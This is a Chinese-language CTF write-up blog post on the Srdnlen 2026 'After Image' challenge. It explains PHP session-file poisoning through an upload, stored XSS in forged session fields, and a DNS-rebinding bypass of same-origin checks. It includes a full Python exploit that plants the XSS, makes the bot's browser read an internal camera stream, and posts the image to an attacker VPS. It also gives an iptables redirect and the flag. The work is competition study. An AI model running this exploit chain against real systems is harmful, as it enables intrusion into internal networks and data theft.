mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
961 字
3 分钟
Srdnlen-CTF-2026-Quals
2026-03-02

After Image#

Session Poison#

开始做这题时,团队成员已经完成了第一部分的Session投毒,这里快速过一下。

  • profile.php 支持上传配置文件,并把文件直接移动到 /tmp/
  • PHP 默认会话文件同样位于临时目录,命名为 /tmp/sess_
  • web/php.ini 中启用了 session.use_only_cookies = 0 和 session.use_trans_sid = 1,因此可以通过 URL 参数 ?PHPSESSID= 指定会话。
  • 组合后可通过上传文件直接伪造任意会话文件,形成任意 $_SESSION 注入。

举个例子,上传文件名使用sess_victim123,内容使用 PHP 会话格式,例如 nickname|s:5:"hello";,访问 index.php?PHPSESSID=victim123 后页面会显示伪造值。

因为伪造的是原始 PHP 会话文件,不会经过 htmlspecialchars(),登陆后的Welcome back, <nickname>!构成了存储型 XSS。所以可直接把 <script>...</script> 写进 nickname、bio、motto 等会话字段,bot 访问对应 PHPSESSID 的页面时会执行脚本。

第二阶段需要让 bot 的 Firefox 浏览器去访问内网 camera 服务,但 flag 显示在 http://10.133.7.5/stream跨域 MJPEG 画面中,需要找到浏览器侧方法把跨域图像中的像素、文本或其等价信息泄露出来。

队员们已经尝试过:

  • canvas 直接绘制后读取像素:被 SecurityError
  • VideoFrame(img) / VideoFrame(canvas):有 same-origin 校验
  • captureStream():tainted canvas 上直接拒绝
  • 常规 SVG 包裹跨域图像后再 drawImage
  • -moz-element() 的几种直接转图像/快照尝试
  • 若干 SVG mask / foreignObject / feImage 探测路径

其中,结合 PixelThief原理,可以本地窃取图像,但远端只能获取红绿单色图像,或黑屏左上角图像损坏图标。

broken

怀疑还是卡在CORS上。

Bypass CORS#

审计bot逻辑

bot: async (urlToVisit) => {
const context = await getContext()
try {
const page = await context.newPage();
console.log(`bot visiting ${urlToVisit}`);
await page.goto(urlToVisit, {
waitUntil: 'load',
timeout: 10 * 1000
});
await sleep(75000);
console.log("browser close...");
return true;
} catch (e) {
console.error(e);
return false;
} finally {
if (CONFIG.APPEXTENSIONS !== "") {
await context.browser().close();
} else {
await context.close();
}
}
}

注意到这里sleep了75秒,往常的XSS题目仅保留10~15s。当时我的想法是有两种可能:一种是利用漏洞侧信道泄漏、另一种是基于缓存(其实不是)。

第一种是有可能的,师傅们有给出阶段性Exp。但是我又看到了Dockerfile

FROM node:21
RUN apt-get update -y
RUN npx playwright install-deps
RUN adduser bot
USER bot
ARG BROWSER=firefox
ENV BROWSER ${BROWSER}
RUN npx playwright install $BROWSER

Firefox 用的都是最新版,如果是考查CVE,一般都会指定版本。所以我认为不太可能(其实是被师傅们那1070行的exp吓到了qwq,我都准备洗洗睡了

那么第二种,基于缓存。之前不知道哪场比赛考到了Chrome的缓存机制所以有些PTSD。但其实仔细想想,就一次XSS机会,也没什么能被缓存投毒的,打内存缓存肯定行不通。但是缓存又不只有页面能被缓存,沿着这个思路不难想到DNS Rebind

如果能够实现两次DNS解析,那么CORS就有可能绕过了。 第一次绑定到VPS,获取XSS脚本,执行时再次请求DNS,绑定到10.133.7.5,此时,访问VPS和Camera就是同源的。查了一下,Firefox的默认DNS过期时间就是60s,意味着只需要在XSS过程中等待60s,就有机会欺骗CORS规则

完整Payload如下:

#!/usr/bin/env python3
import requests
import threading
import time
import sys
import base64
from http.server import HTTPServer, BaseHTTPRequestHandler
import random
import string
TARGET = "http://afterimage.challs.srdnlen.it"
VPS_IP = "YOUR VPS IP HERE" # 记得改
REBIND_DOMAIN = "CHANGEME.0a850705.rbndr.us" # 记得改
SESSION_ID = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
XSS_IFRAME_URL = f"http://{REBIND_DOMAIN}/"
def get_rebind_html():
return f"""<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"></head>
<body>
<h1>DNS Rebinding Wait 60s... then polling</h1>
<script>
// 60秒后开始轮询
setTimeout(() => {{
// 每 3 秒发起一次请求,直到成功命中 10.133.7.5
let timer = setInterval(() => {{
let img = new Image();
img.crossOrigin = "Anonymous";
img.onload = () => {{
clearInterval(timer);
try {{
let c = document.createElement('canvas');
c.width = img.width; c.height = img.height;
c.getContext('2d').drawImage(img, 0, 0);
let b64 = c.toDataURL('image/jpeg');
fetch('http://{VPS_IP}:8001/', {{
method: 'POST',
body: b64,
mode: 'no-cors'
}});
}} catch(e) {{
fetch('http://{VPS_IP}:8001/?err=' + encodeURIComponent(e.message), {{mode: 'no-cors'}});
}}
}};
// 解析到了VPS,继续轮询
// 每次附加随机参数,强迫浏览器绕过图片缓存
img.src = '/stream?r=' + Math.random();
}}, 3000);
}}, 61000);
</script>
</body>
</html>"""
class PayloadDeliveryHandler(BaseHTTPRequestHandler):
""" 运行在 8000 端口,负责下发 DNS 重绑定 HTML """
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Connection", "close") # 强制关闭连接以刷新 DNS
self.send_header("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0")
self.end_headers()
self.wfile.write(get_rebind_html().encode())
def log_message(self, format, *args):
print(f"[Port 8000] Bot requested DNS payload.")
class ExfilReceiverHandler(BaseHTTPRequestHandler):
""" 运行在 8001 端口,负责接收 Bot 外带回来的 Flag 截图 """
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length)
if body.startswith(b"data:image"):
b64 = body.split(b",", 1)[1]
with open("flag.jpg", "wb") as f:
f.write(base64.b64decode(b64))
print(f"\n[!] 成功接收到 Camera 画面!已保存为 flag.jpg")
self.send_response(200)
self.end_headers()
def do_GET(self):
print(f"\n[Port 8001] Bot 日志: {self.path}")
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass
def run_server(handler, port):
server = HTTPServer(("0.0.0.0", port), handler)
server.serve_forever()
def main():
print("="*50)
print(" DNS Rebinding All-in-One Exploit")
print("="*50)
# 1. 启动两个服务线程
threading.Thread(target=run_server, args=(PayloadDeliveryHandler, 8000), daemon=True).start()
threading.Thread(target=run_server, args=(ExfilReceiverHandler, 8001), daemon=True).start()
print("[+] 监听服务已启动: Port 8000 (Payload), Port 8001 (Exfil)")
# 2. 构造无换行符的精简 XSS Payload
xss_payload = f"<script>var ifr=document.createElement('iframe');ifr.src='{XSS_IFRAME_URL}';document.body.appendChild(ifr);</script>"
php_val = f's:{len(xss_payload)}:"{xss_payload}";'
session_data = f"nickname|{php_val}"
# 3. 伪造 Session
print(f"[*] 正在上传污染的 Session 文件 (sess_{SESSION_ID})...")
requests.post(
f"{TARGET}/profile.php?PHPSESSID=seed_upload",
files={"config_file": (f"sess_{SESSION_ID}", session_data.encode(), "application/octet-stream")}
)
# 4. 触发 Bot 访问
print("[*] 正在向 Bot 提交受害 URL...")
bot_url = f"http://afterimage-nginx/index.php?PHPSESSID={SESSION_ID}"
requests.post(f"{TARGET}/report", data={"url": bot_url})
print("\n[+] 攻击链已完全触发,Bot 等待时间约为 75s。")
print("[*] 倒计时 65s 等待 DNS 缓存刷新,请保持脚本运行...")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] 退出脚本")
sys.exit(0)
if __name__ == "__main__":
main()

exploit

这个脚本里,8000端口用于投放XSS,8001端口用于接收flag截图。需要注意的是,由于camera服务10.133.7.5:80,因此投放XSS时也必须使用80端口。由于我的VPS上80端口already in use,所以需要配置一下端口重定向:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8000
# 使用这个还原:
# iptables -t nat -D PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8000

哦对了,由于DNS Rebind存在不确定性,实际上成功率是比较低的。需要第一次解析到VPS上第二次解析到Camera服务。多试几次总能成功的。(得研究一下自建DNS Rebind了)

flag

srdnlen{s4me_0rig1n_is_b0ring_as_h3ll}

same origin is boring as hell! qwq

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Srdnlen-CTF-2026-Quals
https://blog.chaomixian.top/posts/srdnlen-ctf-2026-quals/
作者
炒米线
发布于
2026-03-02
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录